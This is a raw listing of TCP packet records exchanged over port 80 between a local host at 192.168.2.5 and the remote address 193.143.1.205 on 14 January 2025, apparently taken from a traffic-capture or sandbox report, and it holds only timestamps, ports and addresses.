Jan 14, 2025 10:19:00.653872013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.653903008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.653932095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.654002905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654014111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654023886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654035091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654046059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654047966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.654081106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.654757977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654768944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654779911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654788971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654799938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654808998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.654810905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654822111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654836893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.654856920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.654890060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654901981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654918909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654928923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654939890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.654958963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.654992104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.655529022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.655580044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.655599117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.655611038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.655621052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.655659914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.657722950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.726898909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.726939917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.726958036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.726969957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.726979017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.726990938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.727046013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.727046013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.727046013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.727087975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.727103949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.727121115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.727132082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.727138042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.727138996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.727180004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.733591080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.741080046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.741091967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.741108894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.741121054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.741132021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.741143942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.741167068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.741192102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.741249084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.741260052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.741272926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.741297007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.745636940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.756270885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.765091896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765101910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765115976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765155077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765166998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765177965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.765201092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.765201092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.765230894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765243053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765253067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765279055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.765396118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765407085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765413046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765428066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.765494108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.767843008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.779666901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779751062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.779757023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779767036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779779911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779789925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779800892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779808044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.779829979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779846907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.779865980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779875040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.779876947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779911041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779922009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.779942036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.779973030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780000925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780019999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780031919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780054092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780059099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780107975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780246019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780257940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780267954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780296087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780302048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780307055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780318022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780330896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780345917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780365944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780402899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780472040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780500889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780528069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780544043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780555010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780596972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780613899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780662060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780663013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780692101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780702114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780723095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780762911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780808926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780811071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780821085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780843019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780863047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780889034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780901909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780936956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.780976057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.780986071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781001091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781024933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781048059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781152964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781172037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781223059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781223059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781234980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781255007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781286001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781367064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781407118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781410933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781418085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781445026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781475067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781541109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781553030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781563044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781574011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781591892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781613111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781649113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781661034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781671047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781682014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781692982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.781697989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781718969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.781742096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.784609079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784645081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784657001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784670115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784691095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.784706116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784718037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.784746885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784758091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784780025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784790039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.784790993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784828901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.784856081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784867048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784878016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784899950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.784907103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784919977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784929037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.784945965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.784965038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.785212994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785264015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785264969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.785275936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785291910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785305023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785326958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.785353899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.785419941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785480976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785491943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785501957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785526991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785537004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.785537958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785563946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.785597086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.785680056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785691023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785701036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785737038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.785758972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785769939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785783052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785794020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.785813093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.785856962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.805481911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.818459988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.818470955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.818495989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.818506956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.818517923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.818525076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.818552971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.818561077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.818571091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.818571091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.818603039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.831624985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.831662893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.831671000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.831717968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.831731081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.831742048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.831752062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.831762075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.831782103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.831801891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.831820011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.831880093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.855731010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855762959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855772972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855783939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855843067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855854034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855864048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855905056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.855905056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.855905056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.855933905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855945110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855956078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.855979919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.855992079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.856000900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.856003046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.856046915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.856076956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.856087923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.856121063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870269060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870281935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870292902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870346069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870362997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870373964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870399952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870410919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870508909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870510101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870510101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870520115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870529890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870539904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870551109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870554924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870588064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870614052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870625019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870659113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870670080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870686054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870712042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870769978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870780945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870786905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870795965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870806932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870830059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870856047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870879889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870889902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870902061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870919943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870949030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.870954037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870965958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870975971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870986938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.870997906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871012926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871037960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871045113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871082067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871109009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871125937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871165037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871191025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871201992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871211052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871222973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871233940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871260881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871292114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871309042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871335983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871345043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871362925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871392012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871470928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871481895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871491909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871503115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871512890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871514082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871525049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871536016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871546030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871551037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871556997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871567965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871581078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871617079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 14, 2025 10:19:00.871644020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871692896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 14, 2025 10:19:00.871701956 CET	80	49704	193.143.1.205	192.168.2.5
